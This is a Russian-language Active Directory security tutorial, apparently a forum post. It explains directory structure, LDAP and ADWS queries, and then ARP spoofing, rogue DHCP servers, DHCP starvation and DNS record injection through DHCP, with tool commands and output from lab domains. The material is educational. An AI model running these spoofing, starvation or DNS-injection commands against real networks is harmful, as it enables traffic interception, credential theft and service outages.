Отличительное имя (DN) состоит из нескольких частей (https://www.informit.com/articles/article.aspx?p=101405&seqNum=7) , которые могут быть:

Компонент домена (DC)

Обычно он идентифицирует доменные части базы данных. Например, для it.domain.com частью DC будет DC=it, DC=domain, DC=com.

Организационная единица (OU) https://en.wikipedia.org/wiki/Active_Directory#Organizational_units

Определите контейнеры, которые используются для группировки нескольких связанных объектов. Стоит отметить, что, хотя OU похожи на группы, их назначение другое. Целью OU является организация объектов в базе данных, тогда как группы безопасности используются для организации разрешений в домене/лесу.

Иногда организации автоматически сопоставляют подразделения непосредственно с группами безопасности. Эти группы известны как теневые группы.

Организация объектов в OU полезна, поскольку вы можете применить объект групповой политики к OU, который влияет на все его объекты. Это невозможно для членов группы.

Общее имя (CN)

Имя, которое идентифицирует объект. Иногда вы увидите более одного CN на пути, потому что некоторые объекты также действуют как контейнеры. Например, в CN=Administrator,CN=Users,DC=contoso,DC=local CN=Users идентифицирует контейнер Users.

Разделы

Помимо OU и контейнеров, база данных также разделена на разделы. Каждая база данных имеет следующие разделы:

- Домен: хранит объекты домена.
- Конфигурация: сохраняет конфигурацию домена, такую как псевдоним службы HOST или известные SID, которые мы видели ранее.
- Схема: хранит определение классов и свойств, используемых базой данных.
- Domain DNS Zones: Хранит записи DNS домена и поддоменов.
- Зоны DNS леса: хранит записи DNS остальной части леса, включая родительские домены.

PS C:\> Import-Module ActiveDirectory
PS C:\> cd AD:
PS AD:\> ls

Name ObjectClass DistinguishedName
---- ----------- -----------------
contoso domainDNS DC=contoso,DC=local
Configuration configuration CN=Configuration,DC=contoso,DC=local
Schema dMD CN=Schema,CN=Configuration,DC=contoso,DC=local
DomainDnsZones domainDNS DC=DomainDnsZones,DC=contoso,DC=local
ForestDnsZones domainDNS DC=ForestDnsZones,DC=contoso,DC=local


Вам необходимо загрузить модуль ActiveDirectory Powershell, чтобы получить доступ к диску AD: с помощью Powershell.

Обычно вы будете использовать только раздел домена, но важно знать, как организована база данных, если вам потребуются другие данные, которых нет в разделе домена.

Инструмент будет искать в разделе домена, поэтому, если вы ищете объекты, которые находятся в разделе порядка, вам нужно будет указать раздел DistinguishedName в качестве базы поиска.

PS C:\> Get-ADObject -LDAPFilter "(objectclass=site)" -SearchBase "CN=Configuration,$((Get-ADDomain).DistinguishedName)" | select name

name
----
Default-First-Site-Name
mysite


Например, такие инструменты, как adidnsdump (https://github.com/dirkjanm/adidnsdump) или dns-dump (https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1) , используют разделы зон DNS для получения всей информации DNS домена.

Глобальный каталог

База данных домена содержит все объекты текущего домена, но для ускорения поиска объектов в других доменах леса некоторые контроллеры домена также содержат подмножество объектов других доменов.

Эти контроллеры доменов могут называться глобальными каталогами (https://docs.microsoft.com/pt-pt/pr...ontroller-and-global-catalog-server-structure) и содержат дополнительные разделы только для чтения с объектами других доменов, для которых хранится только подмножество свойств, обычно наиболее часто используемых. Например, если вам нужно только обратиться к имени пользователя в другом домене, то глобальный каталог позволит вам получить его без необходимости запрашивать другой контроллер домена домена.

PS C:\> Get-ADForest |select -ExpandProperty GlobalCatalogs
dc01.poke.mon
itdc01.it.poke.mon


Если вы хотите обратиться к глобальному каталогу, вам необходимо указать другой порт для подключения, поскольку служба глобального каталога прослушивает порт 3268 (LDAP).

PS C:\> Get-ADUser -Server "poke.mon:3268" -Filter * | select DistinguishedName

DistinguishedName
-----------------
CN=Administrator,CN=Users,DC=poke,DC=mon
CN=Guest,CN=Users,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=poke,DC=mon
CN=CONTOSO$,CN=Users,DC=poke,DC=mon
CN=pikachu,CN=Users,DC=poke,DC=mon
CN=ITPOKEMON$,CN=Users,DC=poke,DC=mon
CN=Administrator,CN=Users,DC=it,DC=poke,DC=mon
CN=Guest,CN=Users,DC=it,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=it,DC=poke,DC=mon
CN=POKEMON$,CN=Users,DC=it,DC=poke,DC=mon
CN=porygon,CN=Users,DC=it,DC=poke,DC=mon

Как запросить базу данных?


Для взаимодействия с данными базы данных контроллеры домена предоставляют вам несколько вариантов, которые транслируются в различные протоколы/службы, которые они поддерживают.

LDAP

Пожалуй, первым, о чем стоит упомянуть, является протокол LDAP (Lightweight Directory Access Protocol) (https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol). С помощью LDAP возможен доступ к базе данных домена, а также к глобальному каталогу.

1653380794381.png


LDAP определяет синтаксис запроса, который позволяет вам фильтровать объекты, которые вы хотите получить/редактировать в базе данных. Вы можете фильтровать объекты по их свойствам. Например, чтобы получить группы домена с членами, вы можете использовать следующий запрос (&(objectsclass=group)(members=*)).

Помимо фильтров, LDAP также позволяет вам указать свойства, которые вы хотите получить для каждого объекта, например, имя. Обязательно проверьте вики LDAP (https://ldapwiki.com/), если вам нужны примеры получения информации из Active Directory.

~$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "anakin@contoso.local" -b "dc=contoso,dc=local" "(&(objectclass=group)(member=*))" "samaccountname"
Enter LDAP Password:
dn: CN=Administrators,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Administrators

dn: CN=Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Users

dn: CN=Guests,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Guests

dn: CN=Remote Desktop Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Remote Desktop Users

dn: CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=local
sAMAccountName: IIS_IUSRS

dn: CN=Schema Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Schema Admins

dn: CN=Enterprise Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Enterprise Admins

dn: CN=Domain Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Domain Admins

dn: CN=Group Policy Creator Owners,CN=Users,DC=contoso,DC=local
sAMAccountName: Group Policy Creator Owners

dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Pre-Windows 2000 Compatible Access

dn: CN=Windows Authorization Access Group,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Windows Authorization Access Group

dn: CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local
sAMAccountName: Denied RODC Password Replication Group

# refldap://ForestDnsZones.contoso.local/DC=ForestDnsZones,DC=contoso,DC=local

# refldap://DomainDnsZones.contoso.local/DC=DomainDnsZones,DC=contoso,DC=local

# refldap://contoso.local/CN=Configuration,DC=contoso,DC=local


Почти любой объект и свойство базы данных Active Directory можно получить с помощью LDAP. Исключение составляют высокочувствительные атрибуты, например учетные данные пользователей.

LDAP используется многими инструментами Windows, такими как Powerview (https://github.com/BC-SECURITY/Empi...e/situational_awareness/network/powerview.ps1) или ADExplorer (https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer). Если у вас нет инструментов, вы всегда можете использовать Powershell для запроса LDAP (https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices?view=net-5.0\]\[.NET%20objects%20related%20to%20LDAP\]\]%20to%20make%20LDAP%20queries,%20youcan%20check%20DomainSearcher%20as%20example) с помощью .NET.

С другой стороны, из Linux вы можете использовать инструменты ldapsearch (https://linux.die.net/man/1/ldapsearch)и ldapmodify (https://linux.die.net/man/1/ldapmodify) .

Когда вам нужно получить информацию из Active Directory, например, перечислить пользователей или что-то в этом роде, LDAP должен первым делом прийти вам на ум. Но помните, что LDAP также позволяет вам изменять объекты, поэтому, если вам нужно добавить пользователя в группу или что-то в этом роде, что ж... это способ.

ADWS

В качестве альтернативы LDAP в Windows Server 2008 R2 Microsoft представила ADWS (веб-службы Active Directory) — протокол для запроса и управления объектами домена на основе сообщений SOAP.

Он совместим с фильтрами LDAP, поэтому можно выполнять очень специфические запросы и получать только необходимые свойства. Фактически, когда используется ADWS, контроллер домена выполняет внутренние запросы LDAP для получения результатов.

1653380833689.png


ADWS — это протокол, используемый модулем ActiveDirectory Powershell.

PS C:\Users\Administrator> Get-ADUser -Filter * | select name

name
----
Administrator
Guest
krbtgt
Anakin
Han
POKEMON$
leia
luke

Другие протоколы


Помимо LDAP и ADWS существует множество других протоколов, позволяющих извлекать информацию из базы данных. Хотя остальные протоколы, как правило, работают только с подмножеством базы данных.

Протокол DNS, используемый в основном для разрешения IP-адресов компьютеров, также извлекает информацию из базы данных.

Протокол SAMR (Security Account Manager Remote) позволяет запрашивать и редактировать основную информацию о пользователях и группах. Это тот, который используется такими командами, как net user /domain.

Протокол DRSR (Directory Replication Service Remote) используется контроллерами домена для синхронизации базы данных. С помощью этого протокола можно получить даже учетные данные пользователя (если у вас достаточно разрешений), и именно он используется для выполнения атаки dcsync.

Протокол проверки подлинности Kerberos также использует базу данных для создания необходимых билетов на основе запрошенной службы. Кроме того, служба kpasswd (порт 464) используется Kerberos для изменения пароля пользователя.

Протокол Netlogon используется компьютерами для аутентификации пользователей домена. Например, используется аутентификацией NTLM. Кроме того, это был протокол, затронутый уязвимостью Zerologon.

Есть много других протоколов, которые взаимодействуют с базой данных, но этот краткий список должен дать вам представление о том, что существует много разных способов доступа к одним и тем же данным.

Безопасность

Теперь, когда у нас есть более четкое представление об элементах Active Directory, давайте поговорим о темах, которые больше связаны с безопасностью в Active Directory. Безопасность базируется на следующих столпах:

Разрешение адресов

Возможность для пользователей и машин разрешать адреса других компьютеров, чтобы устанавливать с ними соединения. Если злоумышленник может контролировать разрешение адресов, он может выполнять атаки "человек посередине" или заставить пользователей отправлять свои учетные данные на компьютеры, контролируемые злоумышленником.

Аутентификация

Возможность идентифицировать пользователя, который обращается к компьютеру службы. Если злоумышленник сможет получить учетные данные пользователя или аутентификация будет обойдена, то он сможет идентифицировать себя как пользователя и выполнять действия от его имени.

Авторизация

Возможность определить, какие действия может выполнять пользователь. Если права пользователя настроены неправильно, он может выполнять привилегированные действия.

Давайте обсудим эти основы и то, как они реализованы в Active Directory.

Разрешение адресов

С точки зрения безопасности разрешение адреса весьма актуально, поскольку, если пользователь/программа может быть обманом подключена к ошибочной машине, могут быть выполнены многие атаки, например:

Person-in-The-Middle (PitM): это позволяет злоумышленнику перехватывать сообщения жертвы и читать/манипулировать информацией (если она не зашифрована/подписана должным образом), отправленной или полученной жертвой. NTLM Relay: Злоумышленник может использовать аутентификацию NTLM от жертвы и перенаправить ее на нужный сервер, чтобы получить к нему доступ. Взлом NTLM: даже если вы не можете передать аутентификацию NTLM, вы можете попытаться взломать хэш NTLM и восстановить пароль пользователя.

Но какие адреса нужно разрешить? Машины используют три типа адресов:

MAC-адрес

MAC (Media Control Access) — это адрес, который однозначно идентифицирует каждый компьютер в мире (конкретно каждую сетевую карту компьютера). MAC-адрес используется для отправки сообщений в протоколе Ethernet на канальном уровне, который связывает компьютеры в одной сети. С каждой сетевой картой связан уникальный MAC-адрес, что позволяет идентифицировать ее в сети. Обычно MAC-адрес остается постоянным, но его можно изменить. MAC-адрес состоит из 6 байтов, например 01:df:67:89:a4:87, где первые 3 байта указывают поставщика MAC, а последние 3 — уникальный идентификатор каждой сетевой карты этого поставщика.

IP-адрес

IP-адрес — это тот, который используется протоколом IP на уровне Интернета, который обеспечивает связь между компьютерами в разных сетях. В отличие от MAC-адресов, IP-адреса не настраиваются в сетевых картах, а должны быть установлены внешним объектом с использованием протокола, такого как DHCP, или путем установки статического IP-адреса. Таким образом, компьютер может изменить свой IP-адрес в любое время. При перемещении по сетям IP-адреса должны быть сопоставлены с MAC-адресами, чтобы обеспечить связь внутри различных сетей, которые направляют пакеты. Для этого используется протокол ARP. Существует две версии IP-адресов: IPv4, состоящий из 4 байтов (32 бита), например 23.78.167.99, и IPv6, состоящий из 16 байтов, например 2001:db8:85a3:8d3:1319:8a2e:370:7348. Обычно используется IPv4.

Имена хостов

Поскольку IP-адреса трудно запомнить, компьютерам также присваивается более удобное для человека имя, например pepe-machine, известное как имя хоста. Однако, поскольку компьютерам для связи необходим IP-адрес, можно связать имена хостов с IP-адресами с помощью таких протоколов, как DNS, NetBIOS, LLMNR или mDNS.

Следовательно, следующие процессы жизненно важны для того, чтобы компьютер мог найти правильный адрес для связи:

Hostname-IP resolution

Компьютеры должны иметь возможность сопоставлять имя хоста машины с ее правильным IP-адресом. Для этого есть две стратегии:

1. Обращение к центральному серверу за разрешением имени хоста, что является подходом, используемым DNS. Если злоумышленник может стать центральным сервером, он может сопоставить имена хостов для выбора адресов.

2. Отправка широковещательного запроса с именем хоста одноранговым узлам с запросом на компьютер с данным именем хоста идентифицировать себя. Этот подход используется такими протоколами, как NetBIOS, LLMNR или mDNS, где любой компьютер в сети может ответить на запрос, поэтому злоумышленник может прослушивать ожидающие запросы и отвечать на них, идентифицируя себя как целевой компьютер.

Разрешение IP-MAC

Как только IP-адрес идентифицирован, компьютеры должны знать, какому компьютеру (сетевой карте) принадлежит этот IP-адрес, поэтому они запрашивают его MAC-адрес. Для этого они используют протокол ARP, который работает, отправляя широковещательный запрос во внутреннюю сеть и ожидая, пока правильный хост идентифицирует себя. Злоумышленник может ответить на запрос, идентифицируя себя в качестве цели для получения соединения.

IP-конфигурация

Чтобы использовать IP-адрес и иметь возможность найти центральный сервер для разрешения IP-адресов, компьютеры необходимо настроить. Эта конфигурация может быть выполнена вручную для каждого компьютера или с использованием протокола, такого как DHCP, где сервер предоставляет параметры конфигурации для компьютеров в сети. Однако, поскольку компьютеры ничего не настраивают, когда они общаются с DHCP-сервером, им приходится искать его вслепую, отправляя широковещательные запросы, на которые может ответить любая другая машина. Таким образом, у злоумышленника есть возможность неправильно настроить его, отвечая на эти запросы и предоставляя клиенту поддельные параметры конфигурации, обычно указывающие на DNS-сервер, контролируемый злоумышленником.

Итак, давайте посмотрим, как можно атаковать разрешение адресов в Active Directory и других компьютерных сетях.

ARP

ARP (протокол разрешения адресов) (https://en.wikipedia.org/wiki/Address_Resolution_Protocol) — это протокол канального уровня, широко используемый в сети, который позволяет отображать связь между IP-адресом компьютера и его MAC-адресом (управление доступом к среде).

Для этого клиентская машина отправляет широковещательный ARP-запрос Ethernet в локальную сеть, запрашивая тот, у которого есть целевой IP-адрес. Затем компьютер с этим IP-адресом должен ответить, указав свой MAC-адрес. Наконец, клиент отправляет пакеты приложений на этот адрес Ethernet.

1653380885363.png


Спуфинг ARP

Даже если обычно правильным компьютером является тот, который отвечает на запрос ARP, любой компьютер может ответить на него. Таким образом, злоумышленник может отвечать на все запросы ARP, пытаясь выдать себя за другие компьютеры.

Однако компьютеры не выполняют ARP-запрос каждый раз, когда им нужно связаться с целью, а сохраняют предыдущие ответы в локальном ARP-кэше.

$ arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.101 ether e4:fd:a1:09:bf:a1 C wlp1s0
192.168.1.1 ether 00:e0:4c:d8:ca:89 C wlp1s0


Сохраняя кэш ARP, компьютеры сокращают количество запросов, которые ему необходимо выполнить. Однако компьютеры также прослушивают ответы ARP на наличие изменений, не выполняя запросы, поэтому злоумышленник может периодически отправлять ответы, чтобы отравить кэш ARP жертвы.

1653380906483.png


Вы можете выполнить атаку подмены/отражения ARP с помощью таких инструментов, как ettercap (https://www.ettercap-project.org/) , bettercap (https://github.com/bettercap/bettercap), arpspoof (https://github.com/smikims/arpspoof) или arplayer (https://github.com/Zer1t0/arplayer) .

$ ./arplayer spoof -I wlp1s0 -vvv -F -b 192.168.1.101 192.168.1.1
Spoofing - telling 192.168.1.101 (e4:fd:a1:09:bf:a1) that 192.168.1.1 is 00:e0:4c:d8:ca:89 (192.168.1.107) every 1.0 seconds (until Ctrl-C)
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89

ARP-сканирование


Другой интересной возможностью использования ARP является запрос всех IP-адресов в сети, чтобы проверить ответы ARP и узнать, какие хосты активны. Этот метод известен как сканирование ARP.

$ ./arplayer scan -I wlp1s0 -w 10 -t 1000
192.168.1.1 00:e0:4c:d8:ca:89
192.168.1.101 e4:fd:a1:09:bf:a1

DHCP


DHCP (Dynamic Host Configuration Protocol) — это протокол, который помогает настраивать динамические IP-адреса для компьютеров в сети. Это прикладной протокол, который работает через UDP. Он использует порт 67/UDP на сервере и требует, чтобы клиент отправлял сообщения с порта 68/UDP.

1653380935490.png


В DHCP новые клиенты сети ищут DHCP-сервер, чтобы получить правильную конфигурацию, которая позволяет им взаимодействовать с остальной частью сети. Этот процесс настройки разделен на четыре этапа:

1. Обнаружение сервера: клиент запрашивает IP-адрес, отправляя широковещательное сообщение на адрес 255.255.255.255 или сетевой широковещательный адрес, чтобы достичь DHCP-сервера.

2. Предложение об аренде IP: сервер отвечает (также на широковещательную рассылку) IP-адресом, который предлагает клиенту, а также другими параметрами конфигурации.

3. Запрос аренды IP: клиент получает предложенный IP и отправляет сообщение, чтобы запросить его.

4. Подтверждение аренды IP: сервер подтверждает, что клиент может использовать выбранный IP-адрес. Кроме того, он включает в себя несколько параметров конфигурации, таких как время обновления IP.

Эти фазы обычно обозначаются аббревиатурой DORA (обнаружение, предложение, запрос, подтверждение) и запускаются, когда компьютер подключается к сети. Конфигурацию DHCP также можно запустить вручную с помощью команды dhclient в Linux и ipconfig /renew в Windows.

1653380947150.png


Среди множества вариантов конфигурации (https://linux.die.net/man/5/dhcp-options) могут быть интересны следующие:

1653380953976.png


Чтобы проверить параметры, предоставляемые сетевым DHCP-сервером, в Windows вы можете проверить конфигурацию вашего сетевого интерфейса (если он настроен на использование DHCP) с помощью ipconfig /all. Однако в Linux разные параметры DHCP настраивают разные файлы, например, для проверки DNS-сервера следует проверить файл /etc/resolv.conf или использовать ip route для получения шлюза по умолчанию.

1653380963714.png


Кроме того, вы можете проверить параметры, предоставляемые DHCP-сервером, с помощью dhcplayer ( https://github.com/Zer1t0/dhcplayer#dhcp-server) или сценария nmap broadcast-dhcp-discover (https://nmap.org/nsedoc/scripts/broadcast-dhcp-discover.html). Однако требуются привилегии root/admin, поскольку необходимо использовать исходный порт 68.

1653380974314.png


Помимо перечисления, протокол DHCP также может быть использован для совершения нескольких атак:

1. Нехватки/истощения DHCP

2. Поднятия мошеннического DHCP-сервера


Давайте посмотрим, как они работают.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мошеннический DHCP-сервер

Из-за децентрализованного характера DHCP любая машина в сети может взять на себя роль DHCP-сервера, отвечая на сообщения клиента об обнаружении/запросе. Таким образом, злоумышленник может создать мошеннический DHCP-сервер, чтобы установить пользовательскую конфигурацию на клиентах.

Параметры, которые настраиваются DHCP-сервером, такие:

- Шлюз/маршрутизатор
- DNS-серверы
- Серверы имен NetBIOS/WINS
- WPAD


Таким образом, клиенты могут быть, среди прочего, неправильно настроены для отправки DNS-запроса на мошеннический DNS-сервер, который может перенаправить их на поддельные компьютеры или домены, контролируемые злоумышленником. Для выполнения такой атаки можно использовать такие инструменты, как Yersinia (https://github.com/tomac/yersinia) или dhcplayer (https://github.com/Zer1t0/dhcplayer#dhcp-server) .

$ dhcplayer server -I eth2 --wpad http://here.contoso.local/wpad.dat -v --domain contoso.local
INFO - IP pool: 192.168.100.1-192.168.100.254
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.100.255
INFO - DHCP: 192.168.100.44
INFO - DNS: [192.168.100.44]
INFO - Router: [192.168.100.44]
INFO - WPAD: http://here.contoso.local/wpad.dat
INFO - Domain: contoso.local
INFO - REQUEST from 52:54:00:5d:56:b9 (debian10)
INFO - Requested IP 192.168.100.145
INFO - ACK to 192.168.100.145 for 52:54:00:5d:56:b9
INFO - REQUEST from 52:54:00:76:87:bb (ws01-10)
INFO - Requested IP 192.168.100.160
INFO - ACK to 192.168.100.160 for 52:54:00:76:87:bb

DHCP голодание


Атака с голоданием DHCP — это DOS-атака, при которой фальшивый клиент запрашивает все доступные IP-адреса, предлагаемые DHCP-сервером. Таким образом, законные клиенты не могут получить IP-адрес, поэтому должны оставаться в автономном режиме. Эту атаку можно выполнить с помощью таких инструментов, как dhcpstarv (https://github.com/sgeto/dhcpstarv), yersinia (https://github.com/tomac/yersinia) или dhcplayer (https://github.com/Zer1t0/dhcplayer#starvation-attack).

$ dhcpstarv -i enp7s0
08:03:09 11/30/20: got address 192.168.100.7 for 00:16:36:99:be:21 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.8 for 00:16:36:25:1f:1d from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.9 for 00:16:36:c7:79:f2 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.10 for 00:16:36:f4:c3:e9 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.11 for 00:16:36:dc:51:a1 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.12 for 00:16:36:c2:c2:06 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.13 for 00:16:36:15:e0:74 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.14 for 00:16:36:40:1c:02 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.15 for 00:16:36:c5:9a:c3 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.16 for 00:16:36:14:1a:b3 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.17 for 00:16:36:13:45:14 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.18 for 00:16:36:14:fb:18 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.19 for 00:16:36:b2:93:90 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.20 for 00:16:36:c7:38:f9 from 192.168.100.2

DHCP-обнаружение


Также DHCP может быть интересен с точки зрения клиента, поскольку он может позволить вам получить полезную информацию об окружающей среде, для чего он и предназначен.

Вы можете отправить сообщение DISCOVER в сеть и проверить, какая информация получена. Это способ получить информацию из неаутентифицированной позиции, такой как домен или адреса серверов, которые обычно являются контроллерами домена.

$ dhcplayer discover -I eth2 -n

OFFER received from 192.168.100.2
Offered IP: 192.168.100.3
Client MAC: 52:54:00:88:80:0c
DHCP Server: 192.168.100.2
Options:
[1] Subnet Mask: 255.255.255.0
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.2
[3] Router: 192.168.100.2
[5] Name Server: 192.168.100.2
[6] Domain Server: 192.168.100.2
[15] Domain Name: contoso.local
[44] NetBIOS Name Server: 192.168.100.2
[77] Unknow: [0, 14, 82, 82, 65, 83, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 0, 80, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 82, 0, 111, 0, 117, 0, 116, 0, 105, 0, 110, 0, 103, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 82, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 65, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 74, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 114, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 97, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 99, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]
[77] Unknow: [0, 15, 66, 79, 79, 84, 80, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 40, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 58, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]
[252] WPAD: http://isalocal.contoso.local:80/wpad.dat

DHCP Динамический DNS


В Active Directory вы можете попросить (по умолчанию) DHCP-сервер создать настраиваемые записи DNS A на основе имени хоста клиента, которое указано в запросе DHCP (https://www.trustedsec.com/blog/injecting-rogue-dns-records-using-dhcp/). Это может быть очень полезно, поскольку для выполнения этой операции не требуется никакой аутентификации/авторизации.

PS C:\> Get-DhcpServerv4DnsSetting

DynamicUpdates : OnClientRequest
DeleteDnsRROnLeaseExpiry : True
UpdateDnsRRForOlderClients : False
DnsSuffix :
DisableDnsPtrRRUpdate : False
NameProtection : False


Клиент может запросить DNS-обновление записи DNS A, ему необходимо включить опцию Client FQDN (Fully Qualified Domain Name) (https://datatracker.ietf.org/doc/html/rfc4702) в DHCP-запрос с флагом "S" (https://datatracker.ietf.org/doc/html/rfc4702#section-2.1), установленным на 1, вместе с полным доменным именем или именем хоста. Сервер вернет тот же флаг, установленный в 1, если обновление было выполнено. Новая запись A укажет имя хоста клиента на полученный IP-адрес. Вы можете запросить обновление DNS с помощью dhcplayer (https://github.com/Zer1t0/dhcplayer#dns-dynamic-update) с флагом --dns-update.

$ dhcplayer discover -I eth2 --dns-update -H hira
ACK received from 0.0.0.0
Acquired IP: 192.168.100.121
Client MAC: 52:54:00:88:80:0c
Options:
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.240
[1] Subnet Mask: 255.255.255.0
[81] Client FQDN: flags: 0x1 (server-update) A-result: 255 PTR-result: 0
[3] Router: 192.168.100.240
[15] Domain Name: poke.mon
[6] Domain Server: 192.168.100.240,192.168.100.240,192.168.100.2

$ nslookup hira.poke.mon 192.168.100.240
Server: 192.168.100.240
Address: 192.168.100.240#53

Name: hira.poke.mon
Address: 192.168.100.121


Поскольку DHCP обычно назначает один и тот же адрес одному и тому же клиенту (на основе MAC-адреса клиента), вы можете изменить запись DNS с помощью нескольких запросов с разными именами хостов. Кроме того, если имя хоста не указано, запись DNS будет удалена. Он также будет удален, когда истечет срок аренды DHCP.

Однако существуют определенные имена DNS (https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/), которые защищены глобальным списком блокировки запросов DNS (GQBL) от разрешения, даже если вы добавите запись DNS. По умолчанию это wpad и isatap.

PS C:\> Get-DnsServerGlobalQueryBlockList

Enable : True
List : {wpad, isatap}

DNS

Основы DNS


DNS (система доменных имен) — это система, определяющая иерархические имена для компьютеров, служб и других ресурсов сети. Протокол DNS — это клиент-серверный протокол, в котором сервер прослушивает порты 53/UDP и 53/TCP.

1653683479926.png


DNS в основном используется для преобразования DNS-имени компьютера в его IP-адрес.

1653683489528.png



Помимо разрешения имен, DNS позволяет выполнять другие действия, такие как сопоставление IP-адреса с его именем или разрешение псевдонимов для имени. Клиент может выполнять различные запросы, на которые сервер попытается ответить. Для этого DNS-серверы хранят набор различных записей (https://en.wikipedia.org/wiki/List_of_DNS_record_types). Вот некоторые типы записей:

- A: Сопоставляет DNS-имя с IPv4.
- AAAA: сопоставляет DNS-имя с IPv6.
- CNAME (каноническое имя): сопоставляет DNS-имя, известное как псевдоним, с исходным DNS-именем.
- DNAME: отображает поддерево DNS.
- NS (сервер имен): укажите DNS-сервер для домена.
- PTR (указатель): сопоставляет IP-адрес с DNS-именем (обратный поиск).
- SOA (Start of Authority): Содержит административную информацию о зоне DNS, такую как основной DNS-сервер или почта администратора.
- SRV (служба): указывает хост и порт службы.

root@debian10:~$ dig NS wikipedia.org

; <<>> DiG 9.16.6-Ubuntu <<>> NS wikipedia.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56753
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;wikipedia.org. IN NS

;; ANSWER SECTION:
wikipedia.org. 6704 IN NS ns1.wikimedia.org.
wikipedia.org. 6704 IN NS ns0.wikimedia.org.
wikipedia.org. 6704 IN NS ns2.wikimedia.org.

;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: jue dic 03 10:14:07 CET 2020
;; MSG SIZE rcvd: 106


Все эти записи могут поддерживаться DNS-сервером (обычно в текстовом файле (https://docs.fedoraproject.org/en-US/Fedora/12/html/Deployment_Guide/s2-bind-zone-examples.html)), чтобы предоставить информацию для своей зоны DNS.

DNS-зоны

DNS иерархичен и разделен на зоны. Каждая зона хранит записи для домена и его поддоменов, за исключением тех поддоменов, у которых есть свои зоны. Например, компания contoso может иметь две следующие зоны:

contoso.com
mail.contoso.com
www.contoso.com

internal.contoso.com
it.internal.contoso.com
admin.internal.contoso.com
hr.internal.contoso.com


